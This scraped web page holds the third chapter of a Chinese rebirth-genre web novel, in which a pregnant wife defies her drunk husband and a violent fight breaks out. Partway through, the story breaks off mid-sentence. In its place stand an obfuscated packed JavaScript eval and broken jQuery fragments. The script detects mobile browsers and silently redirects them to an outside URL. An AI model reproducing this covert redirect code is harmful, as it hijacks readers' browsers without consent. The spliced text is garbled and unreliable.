默认冷灰
24号文字
方正启体

3. 第 3 章

作者:绵绵意本书字数:K更新时间:
    李婉贞沉浸在思绪里竟然不知不觉睡着了,等她再次醒来,天已经黑了,窗户外面黑布隆冬。


    门外传来了拖沓的脚步声,是喝醉酒的李延回来了。


    要是以前,李婉贞肯定第一时间起来去开门,扶他去床上躺着,给他倒糖水解酒,照顾醉酒的李延。


    可现在重生回来的李婉贞什么都不想做。


    以前的她之所以会做,是她真心想把这个家庭经营好,把李延当做跟自己共度一生的丈夫来照顾。


    李婉贞未出嫁前,村里有文化的大姐姐跟她聊天时说过几句话,她一直深深记在心里。


    ‘弟弟妹妹不是你的责任,不用一直委屈自己。’


    ‘父母的养育之恩,只要尽到孝道就好了。手足再亲,等结了婚各自有了家庭,也都是关上门各过各的。”


    “所以夫妻关系才是最重要的,真正能陪你走到老,朝夕相伴,共度余生的是你的丈夫,你一定要分清楚什么才是最重要的。”


    当时的李婉贞觉得这话说的很有道理,婚后跟吸血鬼娘家及时划清界限,跟丈夫一家好好相处,经营好她的小家庭,可她不知道,婚姻并没有她想象的那么简单……


    李婉贞上辈子已经吃够了婚姻的苦,婚姻对她来说百害而无一利。


    正想着,李延已经打开门,踉跄着走进房,一股浓烈的酒臭味也随着人飘了进来,她闻着想吐。


    “这、这么黑,怎、怎么不开灯啊?”


    李延的手在门口的墙壁上摸索,半天没有找到电灯开关,显然酒又喝多了。


    “开、开灯啊?人、人、人死哪去了?”


    李婉贞冷眼看着李延趴在墙上摸索。


    终于,李延摸到了开关,打开了房间的大灯。


    “啪。”


    柔和的灯光驱散了黑暗,李延被灯光闪到了眼,他眯了眯眼缓了片刻,视线在房间内扫视了一圈,看到了坐在床上的李婉贞。


    “这不是醒着吗?怎、怎么听到我回来也不开灯?就不怕你男人看不清摔倒啊?”


    李婉贞没说话。


    李延歪歪扭扭地走到床前,在床头桌上拿起了他的搪瓷杯,闭着眼就往嘴里倒。


    意料之中的温热的糖水并没有出现,反倒是一股浓烈的过夜茶水冰冷的灌入他口中。


    李延被冰的激灵了一下,意识清醒片刻,当即不满道:“糖水呢?!给我醒酒的糖水呢?!”


    说着,还用搪瓷杯用力地敲打着桌子,杯子里过夜的茶水溅出来,全都撒到了桌面上。


    见李婉贞没反应,李延借着酒劲,一把将搪瓷杯摔到地上。


    “我说话你没听到吗?耳朵聋了?!”


    搪瓷杯砸到水泥地上发出剧烈的响声,隔壁范梅听到动静,忙从床上爬起来。


    “一天天的,什么活都不干,成天就吃了睡,睡了吃,跟猪一样,就知道躺在家里享福!”


    “你男人喝酒回来连个灯都不留,连杯水都不倒,你只是怀孕了,又不是手断了看看你都懒成什么样了?!”


    “也就我跟我妈性格好,能容忍你,这要是搁别人家,早打你八百遍了。”


    隔壁范梅听到动静本来想开门出来劝劝,现在听到李延的话,又把打开的门悄悄关上,只偷摸留了条缝能继续偷听。


    李婉贞本来就一腔怨气无处发泄,现在听到李延这么说,一拍床头站了起来。


    “想喝水你自己不会倒吗?都能出去喝酒,回家连杯水都不会倒了?”


    “还说我整天躺着什么活都不干,你那双眼睁着是喘气的吗?我不干活家里的地是谁扫的?我不干活家里那么多衣服是谁洗的?谁晒的?谁收的?”


    “我不干活那老家的地是谁帮忙种的?刨地、种地、浇水、锄草、收成,都是谁弄得?”


    “你爸妈还动不动这里痛那里难受的,是谁带着他们去检查看病的?啊?你说啊!”


    “我整天忙这些事情连个休息时间都没有,在你眼里就成了在家躺着享福?李延你是不是眼瞎啊?!”


    被劈头盖脸骂了一通,李延身体一哆嗦,纳闷他媳妇的反常,以前他这样说,李婉贞只会沉默,怎么现在突然跟吃枪药一样,突突突骂个不停?


    关键他听了李婉贞罗列的这些活,不知道该怎么反驳,但他又觉得不反驳点什么又显得自己理亏。


    “你看你,又急了,说话就说话,突然那么大声干嘛啊?”


    李延这话一出,李婉贞被气的忍不住深吸了口气,这家伙总是这样,两人不管因什么争吵,对方总能给自己找到借口,然后倒打一耙将锅甩到李婉贞身上,她上辈子的乳腺癌估计就是这样被气出来的!


    李婉贞被这句话气的胸口有些发闷,旁边李延可能觉得自己理亏,想把这事快速揭过,他弯腰捡起滚落在地上的搪瓷杯,递到李婉贞面前,也算是为两人的争吵后的和解递一个台阶。


    “好了,你现在怀孕了大夫说不能总生气,咱们不吵了,媳妇去帮我倒杯糖水吧。”


    狗嘴里吐不出象牙,李婉贞看到李延这副模样就来气,一巴掌将杯子拍掉,“爱喝不喝,想喝水自己去倒!”


    李延没想到自己的忍让后退一步换来的是变本加厉,他脸色变得难看,酒劲上了头。


    “怎么?倒杯水不就是顺手的事?怀个孕连杯水都不能倒了?”


    呵,李婉贞被气笑了。


    “顺手的事你怎么不自己倒?”


    李延有自己的逻辑,“我是男人!这个家的一家之主!工作累了一天,晚上应酬完回来媳妇给倒杯水怎么了?”


    “还工作累了一天?”李婉贞听到他这么说,再度被气笑,“就你那小仓库管理员还忙呢,别惹人发笑了,干了这么多年还是厂里的边缘人物,时不时被点名批评,你不说还真以为我不知道啊。”


    李延是顶替他爸李建业的岗位,刚上岗时还算勤快,只坚持了一个月就原形毕露,原本还算整齐的库房慢慢变得乱七八糟,物资摆放的地方千奇百怪,领取物资的时候一找就是大半天,偶尔还会因为粗心给人找错零件,经常被领导批评,再加上性格问题,也不怎么受同事待见。


    李延在外面混的不咋地,但他又好面子,现在听到李婉贞这么说,顿时就像被人戳了肺管子一样,气的当场跳起来。


    “工作上的事!你一个整天家里蹲的妇道人家懂什么?!”


    李延气的脸通红,“你又没上过班,班上那些人情世故还有那些弯弯绕绕跟你说了也听不懂,我跟你说,这要是换你来,保准一天都混不下去!”


    “怎么不懂了?就一个管理仓库的工作又有多难?你别把别人都当傻子!”李婉贞不服气,“换我来说不定干的比你还好呢!”


    像是听到好笑的事情,李延也不恼了,对着李婉贞一声嗤笑:“真逗,说的跟真的一样,你个女人懂什么?人家要是让你找个几号螺丝螺母的,你连东西长什么样子都不知道,怎么找给人家?”


    李婉贞看到李延那种高人一等的眼神就来气,“我怎么就不懂了?就算第一次不会,那我也可以学啊!第二次第三次肯定就会了!”


    如果李婉贞真的是李延,她敢确定绝对比现在的李延混的要强!


    只可惜她不是!


    “好了,我也懒得跟你计较了,天不早了,快去帮我冲点糖水喝喝。”


    毕竟媳妇怀孕了,吵架什么的该让还是得让让,谁让他是男人呢,李延就当什么事都没发生一样,把杯子往李婉贞手里一塞。


    “给我多放点糖。”


    李婉贞没接,搪瓷杯再次摔到水泥地板上,“嘭”一声,在地上滚落几圈滚到了床底下。


    这次李延真的怒了,本来他这个人喝完酒就容易上头,现在李婉贞三番两次的不配合,他的男子尊严受到严重挑战。


    “你什么意思?让你倒杯水怎么了?还能累死你啊?”


    李婉贞不想搭理对方,转身想离远点。


    李延一把将她的手紧紧攥住,往前用力一拉,脸贴着脸,用那双气的发红的眼珠子逼视着李婉贞。


    “没听到吗?现在,立刻去给我倒水!”


    熏人的酒气扑面而来,李婉贞胃里一阵翻涌,她干呕了一下,往外抽手没抽出来。


    “呕…好臭,你熏到我了!李延你给我松手!”


    她使劲抽了几次,李延死死抓住不松手,甚至脸逼得更近,像是知道味道难闻故意凑上来一样。


    这家伙实在是太恶心人了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166354|196729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !


    加上上辈子的怨气,李婉贞实在忍不住,低头一口咬住对方的手腕。


    既然对方不肯松手,那也别怪她不客气。


    “啊!!”


    李延发出一声惨叫,另一只手直接打到李婉贞身上,“你属狗的啊!快松口!”


    没想到李延会真的打她,李婉贞咬得更用力了。


    酒精上头的李延来了脾气,用力打了几下,李延越打,李婉贞咬的越紧,她知道自己这一松口,想再伤到对方就不容易了。


    牙齿深深陷到肉里,口腔里布满了铁锈味,她还用力左右磨了磨,李延顿时叫的更凄惨了。


    “疼疼疼!松口松口!”


    躲在房间内的范梅听到大儿子的惨叫声顿时坐不住了,穿着拖鞋就着急忙慌地往这边赶。


    “怎么了怎么了?发生什么事了?”


    推开门,入眼就看到儿媳妇紧紧咬住儿子的手腕不松口,儿子痛到不停拍打李婉贞头和后背。


    “怎么打起来了?!”


    范梅惊叫一声,赶紧去拉李婉贞,“婉贞别咬了别咬了,都出血了!”


    范梅想把人拽开,无奈李婉贞咬得紧,她这边一用力,李延反倒叫的更大声了,根本分不开。


    这可把她急坏了!


    “别咬了别咬了!李延的肉都快要咬掉了!”范梅冲着李婉贞的耳边不停地大声喊。


    李延手上动作不停,男人的力气大,几下就把李婉贞拍的头晕乎乎的,耳朵里面嗡嗡直响。


    李婉贞本来晚上就没吃饭,这一番活动更是饿的身体不停打颤,全凭一身狠劲咬住的李延,现在被打了几巴掌,嘴上的力气快维持不住了。


    又是重重一巴掌,对方趁机李婉贞失神之际,终于抢救回了自己的手腕。


    “嘶……好痛!”


    灯光下,李延的右手腕被咬出了一圈深深的牙印,皮肉全都凹陷下去,深的地方皮肉破损严重,正不停地往外冒着鲜血,斑驳的印记看的人触目心惊。


    范梅倒吸了口冷气,她这个儿媳妇竟然咬得这么狠。


    看着手腕上的伤口,李延红了眼,“你疯了!”他一巴掌抽过去。


    李婉贞想回敬对方,扇出去的巴掌却被李延一手轻易拦住,她另一只手继续扇,依旧被拦住,最后不光两只手都被抓住,就连双腿都被死死控制住。


    李婉贞试图挣扎,两手被攥得紧紧地她努力了半天依旧纹丝不动,只能恨恨地瞪着李延。


    看到李婉贞憋屈的表情,李延心里无比畅快。


    “你打啊,刚才你不是挺能耐的吗?有本事你打回来啊。”


    男女体力差距本来就大,李延喝了酒后更是力大如牛,而李婉贞不但怀着孕,晚饭都没吃,饿着肚子早就脱力了,两人力量天差地别根本没法比。


    李婉贞本来就力气不如对方力气大,现在看到李延欠欠的表情,她想反抗又反抗不了,都快要被气死了。


    为什么会这样?!


    她恨自己为什么命这么苦!


    上辈子受了一辈子窝囊气难道还不够吗?为什么还要重生回来再遭一遍罪!


    为什么?!


    李婉贞想撕烂李延这张欠揍的脸皮,可她无论怎么挣扎怎么努力都没用,反倒还惹来李延的嘲笑,这就是男女天生的力量差距。


    她要是个男人就好了,李婉贞磨着牙恨恨地想。


    似乎是觉得李婉贞这幅气急的表情有意思,李延生了逗弄的心思,他把脸凑近,故意哈了口气。


    “嫌我嘴里的酒味臭?没关系,你多闻闻就习惯了。”


    李婉贞被气得眼圈瞬间红了,泪水溢满眼眶,摇摇欲坠。


    她强忍着眼泪,死命瞪着李延,心里恨不得杀了对方。


    李延哈了几口气,又把另一边脸侧向李婉贞,“喏,不是想打我吗?我脸就搁这了,有本事你来打吧。”


    他故意在侮辱她!


    李婉贞四肢都被控制住反抗不了,但两人面对面距离很近,她瞄准对方额头,咬牙用尽全身所有力气死命撞过去。


    士可杀,不可辱!


    “咚!!”一声巨响。


    两人额头撞在一起,随即身体一软,双双晕倒在地。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)